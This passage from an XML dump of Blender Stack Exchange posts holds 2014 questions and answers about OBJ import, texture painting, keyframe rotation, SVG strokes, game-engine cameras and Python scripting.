OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-22T18:42:41.773" LastActivityDate="2014-10-22T18:42:41.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17946" PostTypeId="1" CreationDate="2014-10-19T01:03:32.967" Score="0" ViewCount="235" Body="&lt;p&gt;i am relatively new to the 3D world.  i understand the theory of 3D modeling, but lack practical 'real world usage' experience...  i need to better understand the OBJ file format as I've used a program to create an OBJ file that requires what i call 'downstream rendering'.  the program ive used is called ViewDog 0.6 (part of gul.sourceforge.org).  this program has a very powerful feature.  you supply it with a grid of regularly spaced x,y sample points having z values.  this program has a routine called 'nubmbas' that uses 'multi level Bspline approximation' and it will 'best fit' a Bspline surface to your point cloud data set.  ive fed this program sample data, and it has both: a) rendered a 3D Bspline surface in its ViewDog gui renderer, and b) has saved the resulting Bspline surface as an OBJ 'cstype bspline' object definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the link to the surface as rendered in ViewDog 0.6 is here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gregaiken.com/webgl/test1/viewdog_nubmbas_iterations7_deg4.JPG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the link to the matching OBJ file that ViewDog 0.6 creates is here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gregaiken.com/webgl/test1/log150-8000_4N.obj&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now being a 'newbie', i assumed that if i opened any valid OBJ file in Blender 2.72a, that i would see this 3D object in the Blender window.  in fact, when i open the above OBJ file, i see NOTHING in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;my OBJ file only contains the definition of the geometry of the Bspline surface using 'v'(ertice) commands and the other Bspline related 'knot' definitons, etc...  there is NO material library reference in the OBJ file.  can anyone tell me definitively what is missing from my OBJ file that causes it to NOT display in Blender?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;can anyone please give me the exact steps one would need to do in Blender to select this invisible object (once its been 'File - Imported - OBJ imported' into Blender), and then apply a trivial 'material' to the object to then cause it to be visible in Blender?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;if anyone can help me, i would be most grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sincerely,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg Aiken&lt;/p&gt;&#xA;" OwnerUserId="7556" LastActivityDate="2014-10-19T01:09:58.010" Title="using Blender to better understand OBJ features/usage" Tags="&lt;objects&gt;&lt;import&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17947" PostTypeId="2" ParentId="17946" CreationDate="2014-10-19T01:09:58.010" Score="1" Body="&lt;p&gt;The file is imported, however it ends up behind the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After importing, press &lt;kbd&gt;Numpad .&lt;/kbd&gt; to snap the selected objects to the center of the view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-19T01:09:58.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17948" PostTypeId="1" AcceptedAnswerId="17949" CreationDate="2014-10-19T01:31:57.750" Score="4" ViewCount="593" Body="&lt;p&gt;Okay, so I've seen the other answers to this here in Blender Exchange. However, as far as I can figure out those textures were not saved when created in texture paint mode.&lt;/p&gt;&#xA;&lt;p&gt;I added an &lt;strong&gt;external&lt;/strong&gt; texture to my object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Te19s.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Te19s.jpg&quot; alt=&quot;1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...then I switched to texture paint mode and the texture changes to a complete black texture:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s50vY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s50vY.jpg&quot; alt=&quot;2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I switch back the texture while in texture paint mode it still keeps my object black:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8i0P8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8i0P8.jpg&quot; alt=&quot;3&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wDAr4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDAr4.jpg&quot; alt=&quot;4&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a lighting problem? Or am I not importing the external image correctly? I have tried packing/saving the image after importing it and putting it on my UV Map and then switching to texture paint mode, but it still occurs.&lt;/p&gt;&#xA;" OwnerUserId="7484" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-16T00:15:36.887" Title="UV Mapping External Texture Changes to a Black Diffuse in Texture Paint mode" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17949" PostTypeId="2" ParentId="17948" CreationDate="2014-10-19T02:53:18.637" Score="4" Body="&lt;p&gt;Try changing the painting mode to &lt;em&gt;Image&lt;/em&gt; and selecting your image in &lt;em&gt;3D view &gt; tool shelf &gt; Slots&lt;/em&gt; while in texture paint mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHLM2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-19T02:53:18.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17950" PostTypeId="1" AcceptedAnswerId="17957" CreationDate="2014-10-19T03:27:18.787" Score="7" ViewCount="1273" Body="&lt;p&gt;I am trying to create an armature animation where the character spins around, but I am having huge issues. If I rotated it from 0° to 360° on another keyframe, then it won't spin at all. If I rotate from 0° to 180°, then from 180° to 360°, the character spins to 180°, then spins backwards to where it started.&#xA;How can I make it rotate the amount I want, instead of just rotating in the direction that is closest to the current angle?&lt;/p&gt;&#xA;" OwnerUserId="7557" LastActivityDate="2014-10-19T07:13:37.223" Title="Animation rotates to closest angle" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17951" PostTypeId="1" CreationDate="2014-10-19T03:29:22.090" Score="2" ViewCount="181" Body="&lt;p&gt;I wonder why those strips occur when simulating smokes with collision. increasing Domain division will impove it some, but will not completely remove that kind of thing. How to get rid of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oGCwu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6I6DR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example file is &lt;a href=&quot;http://www.pasteall.org/blend/32215&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For anyone being interested in solving this, please see comment below from Lukas, which explains everything.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-03-11T08:39:08.340" LastActivityDate="2015-03-11T08:39:08.340" Title="Why strips occur when simulating smoke with collision?" Tags="&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17952" PostTypeId="1" AcceptedAnswerId="17953" CreationDate="2014-10-19T04:11:25.227" Score="1" ViewCount="560" Body="&lt;p&gt;I am currently working on converting my logo vectored as a SVG to a 3D model using the 2.72 version. I ran into a problem with my logo because it contains a black stroke and an orange stroke (see both images below), but currently all I have is the interior color of each shape. I was wondering whether or not there was a simple way to add in these strokes, and how exactly to go about creating the strokes. Thank you in advance community! &lt;img src=&quot;https://i.stack.imgur.com/Jlosh.jpg&quot; alt=&quot;as you can see the logo contains two different strokes&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/1XA2M.png&quot; alt=&quot;My current workflow&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7559" LastActivityDate="2021-01-01T16:59:53.450" Title="Outlining in Blender?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;&lt;editing&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17953" PostTypeId="2" ParentId="17952" CreationDate="2014-10-19T04:42:02.397" Score="4" Body="&lt;p&gt;The fastest way I can think of, is to go back to the program where you created the logo and make sure to have different paths/vectors for each of its parts. Then just export the SVG and import it in blender...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQBS1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-10-19T04:42:02.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17954" PostTypeId="2" ParentId="17952" CreationDate="2014-10-19T05:17:21.017" Score="3" Body="&lt;p&gt;The SVG importer will ignore stroke thickness property, which means you have to convert strokes to paths in external vector editor such as AI or Inkscape, then you can edit curves much more conveniently within Blender.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="19307" LastEditDate="2021-01-01T16:59:53.450" LastActivityDate="2021-01-01T16:59:53.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17955" PostTypeId="1" CreationDate="2014-10-19T05:29:40.270" Score="0" ViewCount="606" Body="&lt;p&gt;How to duplicate selected vertices using python script?&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="2217" LastEditDate="2017-12-25T02:29:51.780" LastActivityDate="2017-12-25T02:29:51.780" Title="How to duplicate selected vertices using python script?" Tags="&lt;python&gt;&lt;editing&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17956" PostTypeId="2" ParentId="17955" CreationDate="2014-10-19T06:47:55.860" Score="2" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.mesh.duplicate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2533" LastActivityDate="2014-10-19T06:47:55.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17957" PostTypeId="2" ParentId="17950" CreationDate="2014-10-19T07:13:37.223" Score="6" Body="&lt;p&gt;When you rotate an object visually in the 3Dview, the rotation value that is used is not always the value you expect. You can get more predictable results by entering values directly in the properties of the object, which can also be found in the properties sidebar by pressing &lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/97pu5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do have trouble with direction of rotation (or movement), the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph&quot; rel=&quot;noreferrer&quot;&gt;graph editor&lt;/a&gt; shows you visually how the values are interpreted and gives you full control over the keyframed values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the rotation goes to 180 then back to 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BV5YW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adjusting the third keyframe we change it to go to 180 then to 360&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/17nms.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change the channels extrapolation (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; or Channel-&gt;Extrapolation Mode) to linear and have a constant rotation with only two keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slYUM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-19T07:13:37.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17958" PostTypeId="2" ParentId="17941" CreationDate="2014-10-19T07:33:06.017" Score="2" Body="&lt;p&gt;An armature object doesn't provide it's bounding box size. However the mesh object of your character does. You can scale your mesh object until the height is to your liking (the dimensions are visible in the properties sidebar). By selecting your armature, then shift selecting your mesh, the mesh object is active and will display it's dimensions as both objects get scaled together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t04U7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your character is made of several items you will only see the size of the active object, a trick there is to add a cube and size it to the height you want, then use it as a reference and resize your character to fit.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-19T07:33:06.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17959" PostTypeId="1" CreationDate="2014-10-19T09:29:58.997" Score="2" ViewCount="1601" Body="&lt;p&gt;We've all heard of this magical thing called the golden spiral, which derives from the golden ratio; However, I feel like there's a general confusion around how to use it in the composition of an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYoPp.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image includes both the golden spiral and the golden triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The golden spiral is a logarithmic spiral where the growth factor is φ (phi); Where is the positive root of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvtyG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is, by defenition:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/12lod.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pattern is present all throughout nature, since the ratio of two consecutive numbers in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Fibonacci_number&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fibonacci sequence&lt;/a&gt; tends towards φ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how does one apply this rule to the composition of an image?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="12" LastEditDate="2014-11-06T21:28:52.003" LastActivityDate="2014-11-06T21:28:52.003" Title="How to use the golden spiral composition rule" Tags="&lt;modeling&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2014-10-19T15:21:07.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="17960" PostTypeId="1" AcceptedAnswerId="18134" CreationDate="2014-10-19T09:51:57.860" Score="5" ViewCount="569" Body="&lt;p&gt;I have a script that tries to derive several blend files from the same source file. However after a while I realised that the &lt;strong&gt;delete()&lt;/strong&gt; operator apparently doesn't work after reverting the file. I could nail it down to this, that can be run with the default startup scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# if this line is removed, delete() behaves as expected.&#xA;bpy.ops.wm.revert_mainfile()&#xA;&#xA;bpy.context.scene.objects['Cube'].select=True&#xA;bpy.ops.object.delete()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; Cube should be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual result:&lt;/strong&gt; Cube is selected, but not deleted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feature? Bug? Something I don't understand about how scripts operate when loading/reverting files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be tested by copying the script in a text window and hitting 'Run Script'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It's been suggested that I should refresh the UI to see the result. This is irrelevant to the problem. (As I did) you can confirm that nothing was deleted programmatically.&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastEditorUserId="241" LastEditDate="2014-10-19T13:47:53.050" LastActivityDate="2018-10-18T18:57:51.703" Title="Calling delete() operator after revert_mainfile()" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17961" PostTypeId="1" AcceptedAnswerId="17962" CreationDate="2014-10-19T10:32:04.003" Score="12" ViewCount="8235" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tY23c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to render this scene above [Snap-shot 1]. But when i am trying to render the scene, its showing me the result [Snap-shot 2]. Whats wrong with my blender [2.72]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJ3fM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorDisplayName="user1853" LastEditDate="2014-10-19T14:14:04.730" LastActivityDate="2015-08-13T10:06:43.670" Title="When I press render, my object changes" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17962" PostTypeId="2" ParentId="17961" CreationDate="2014-10-19T11:10:28.300" Score="15" Body="&lt;p&gt;You probably have keyframes set for your objects. If you have set a keyframe for an object and then you move it without overwriting the keyframe, the animated property gets reset on render.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this issue move the object into the desired position and press &lt;kbd&gt;I&lt;/kbd&gt;. Select &lt;code&gt;LocRotScale&lt;/code&gt; to set the location, the rotation and the scale.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you render the scene now, there should be no more problems with moving objects.&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2014-10-19T11:10:28.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17963" PostTypeId="1" AcceptedAnswerId="17977" CreationDate="2014-10-19T11:58:36.813" Score="1" ViewCount="558" Body="&lt;p&gt;How could I add a pointer at the middle of the screen, where my mouse is fixed there? Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tRXyt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="599" LastEditDate="2014-10-19T19:08:43.290" LastActivityDate="2014-10-19T19:08:43.290" Title="How to put a cursor in the middle of the screen?" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-19T19:26:23.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="17964" PostTypeId="1" AcceptedAnswerId="17998" CreationDate="2014-10-19T12:03:41.710" Score="5" ViewCount="3120" Body="&lt;p&gt;How can I zoom in and out using the mouse wheel in the BGE? And press the middle button to go move around the character? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the camera to be parent to the character so that it will follow it.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="599" LastEditDate="2014-10-20T19:38:06.407" LastActivityDate="2016-11-21T20:26:37.697" Title="How to set up a orbiting camera with zoom in the BGE?" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17966" PostTypeId="1" AcceptedAnswerId="17974" CreationDate="2014-10-19T13:26:18.657" Score="11" ViewCount="3251" Body="&lt;p&gt;I just started getting into 3d printing. At first I scaled my models down to a few cm tall in blender, but found them nearly microscopic at print time. After some fiddling with netfab, it seems like 1m/1bu = 1mm in print world. Is it common practice to keep the model in bu and let the printer software scale the object? Could this be an .stl export setting I missed? Is there a way to match the two environments consistently? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7558" LastActivityDate="2019-08-08T00:25:48.823" Title="Blender units vs metric" Tags="&lt;export&gt;&lt;3d-printing&gt;&lt;units&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17967" PostTypeId="1" AcceptedAnswerId="17976" CreationDate="2014-10-19T13:31:04.610" Score="4" ViewCount="4306" Body="&lt;p&gt;I would like to make a camera like in most First Person Shooters - similar to GTA. This would mean that the view angle depends on the position of the mouse and the character walks forward, along the view vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved in BGE?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="3078" LastEditDate="2014-10-19T15:46:29.800" LastActivityDate="2014-10-19T18:46:12.997" Title="How to make a FPS-like camera in BGE" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17968" PostTypeId="1" AcceptedAnswerId="17992" CreationDate="2014-10-19T13:54:56.887" Score="0" ViewCount="1052" Body="&lt;p&gt;I want to add an empty to each vertex of my model but sometimes it works and sometimes there's an error (&quot;Requires selected vertices or active vertex group&quot;). However this error appears after the loop is running the 10th time or so; So, this is completely confusing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where's the problem with my code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#CREATE GROUP FOR STICKY EMPTIES&#xA;bpy.ops.group.create(name=&quot;sticky_grp&quot;)&#xA;&#xA;#ACTIVE OBJECT&#xA;actObj = bpy.context.active_object&#xA;&#xA;#VERTICE ARRAY OF THE ACTIVE OBJECT&#xA;actVerts = actObj.data.vertices&#xA;&#xA;#COUNT FOR NAMESPACES IN LOOP&#xA;cnt = 0&#xA;&#xA;#FOR LOOP TO GET VERTICES AND SET &quot;a&quot; AS VERTEX VARIABLE&#xA;for a in actVerts:&#xA;&#xA;    bpy.ops.object.mode_set(mode='OBJECT')                   #SWITCH TO OBJECT MODE&#xA;    a.select = True                                          #SELECT VERTEX&#xA;    bpy.ops.object.mode_set(mode='EDIT')                     #SWITCH TO EDIT MODE&#xA;    bpy.ops.object.hook_add_newob()                          #CREATE HOOK TO SELECTED   VERTEX&#xA;    bpy.context.selected_objects[0].name = &quot;sticky_empty&quot;    #RENAME EMPTY TO STICKY EMPTY&#xA;    bpy.ops.mesh.select_all(action='DESELECT')               #DESELECT VERTICES&#xA;&#xA;    #SELECT STICKY EMPTY&#xA;    try:&#xA;        if cnt == 0:&#xA;            bpy.data.objects['sticky_empty'].select&#xA;            bpy.ops.group.objects_add_active(group = 'sticky_grp')&#xA;&#xA;        elif 1 &amp;lt;= cnt &amp;lt; 10:&#xA;            bpy.data.objects['sticky_empty.00' + str(cnt)]&#xA;            bpy.ops.group.objects_add_active(group = 'sticky_grp')&#xA;&#xA;        elif 10 &amp;lt;= cnt &amp;lt; 100:&#xA;            bpy.data.objects['sticky_empty.0' + str(cnt)]&#xA;            bpy.ops.group.objects_add_active(group = 'sticky_grp')&#xA;&#xA;        else:&#xA;            bpy.data.objects['sticky_empty.' + str(cnt)]&#xA;            bpy.ops.group.objects_add_active(group = 'sticky_grp')&#xA;    except:&#xA;        print(&quot;SELECT STICKY EMPTY ERROR&quot;)  &#xA;&#xA;&#xA;    #DELETE HOOK MODIFIER&#xA;    try:&#xA;        if cnt == 0:&#xA;            bpy.ops.object.modifier_remove(modifier=&quot;Hook-Empty&quot;)&#xA;&#xA;        elif 1 &amp;lt;= cnt &amp;lt; 10:&#xA;            bpy.ops.object.modifier_remove(modifier=&quot;Hook-Empty.00&quot; + str(cnt))&#xA;&#xA;        elif 10 &amp;lt;= cnt &amp;lt; 100:&#xA;            bpy.ops.object.modifier_remove(modifier=&quot;Hook-Empty.0&quot; + str(cnt))&#xA;&#xA;        else:&#xA;            bpy.ops.object.modifier_remove(modifier=&quot;Hook-Empty.&quot; + str(cnt))&#xA;    except:&#xA;        print(&quot;DELETE HOOK MODIFIER ERROR&quot;) &#xA;&#xA;    #ADD NAMESPACE + 1         &#xA;    cnt = cnt + 1 &#xA;    print(a)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5885" LastEditorUserId="3078" LastEditDate="2014-10-19T15:38:47.450" LastActivityDate="2014-11-28T09:53:32.073" Title="Problem with for loop in vertices" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17969" PostTypeId="1" AcceptedAnswerId="18317" CreationDate="2014-10-19T14:12:28.010" Score="1" ViewCount="928" Body="&lt;p&gt;Is there a way to change the size of evenly extruded polygons AFTER performing Extrude/Inset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be very helpful in modeling to be able to work with sets of geometry and yet retain control over the individual elements as if they were being worked on one at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use various Pivot settings in combination with Scale but do not have the control over sets of selected faces that will allow me to shape the model the way I'd like to do for mechanical/architectural models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: Inset several faces.  This works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pjaFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the four interior faces are selected; &#xA;How can I re-size them in relation to one another without them scaling towards each other with a bias they normally would not have if I were working on them individually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: Batch Scale the selected Faces.  Now everything is disproportional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PNTV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried changing the Pivot for the Scaling operation but could not get the symmetrical results I was hoping to acheive.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="1448" LastEditDate="2014-10-21T21:08:34.687" LastActivityDate="2014-10-29T01:01:08.103" Title="Change the size of multiple selected polygons as a post-extrude operation" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="17970" PostTypeId="1" CreationDate="2014-10-19T14:30:37.230" Score="0" ViewCount="38" Body="&lt;p&gt;I am doing a very rough render for a school project and when I try to render it it comes out completely different than in the 3d view&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P63kN.jpg&quot; alt=&quot;this is how it looks like when rendered.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YEsxO.jpg&quot; alt=&quot;and the second is what it looks like in 3d view. &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this is because of the yellow/gold dimensions bars on the right but I have no idea what they are or how to change them.&lt;/p&gt;&#xA;" OwnerUserId="7561" LastActivityDate="2014-10-19T14:30:37.230" Title="Image not rendering correctly" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-10-19T15:18:04.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="17973" PostTypeId="1" CreationDate="2014-10-19T15:57:30.910" Score="3" ViewCount="2412" Body="&lt;p&gt;I'm new to Blender, but I've used Max &amp;amp; Maya in the past, both of which I've never had this problem with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I'm having is when exporting a simple mesh as .obj the vertex ordering is all messed up.  I have tried sorting the vertices using the Sort Elements in the Mesh menu but it is not working as expected, see below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v -10.000000 5.000000 0.000000 &#xA;v -10.000000 6.000000 0.000000    &#xA;v -10.000000 7.000000 0.000000    &#xA;v -10.000000 8.000000 0.000000    &#xA;v -10.000000 9.000000 0.000000    &#xA;v -10.000000 10.000000 0.000000    &#xA;v -10.000000 -2.000000 0.000000    &#xA;v -10.000000 1.000000 0.000000    &#xA;v -10.000000 -1.000000 0.000000    &#xA;v -10.000000 2.000000 0.000000    &#xA;v -10.000000 3.000000 0.000000    &#xA;v -10.000000 4.000000 0.000000    &#xA;v -10.000000 0.000000 0.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As can be seen the ordering is jumping all over the place instead of sorting properly.&#xA;I have tried with 'Keep Vertex Order' and without, it makes no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can get the sorting to work properly is if I select each Vertex individually and sort it using Selection on that one Vertex to push it to the front, then select the next, repeat, etc..  Obviously this is a ridiculous way of doing it and will take a very long time!!&#xA;Am I missing something here, as it seems to me that the sorting is broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a 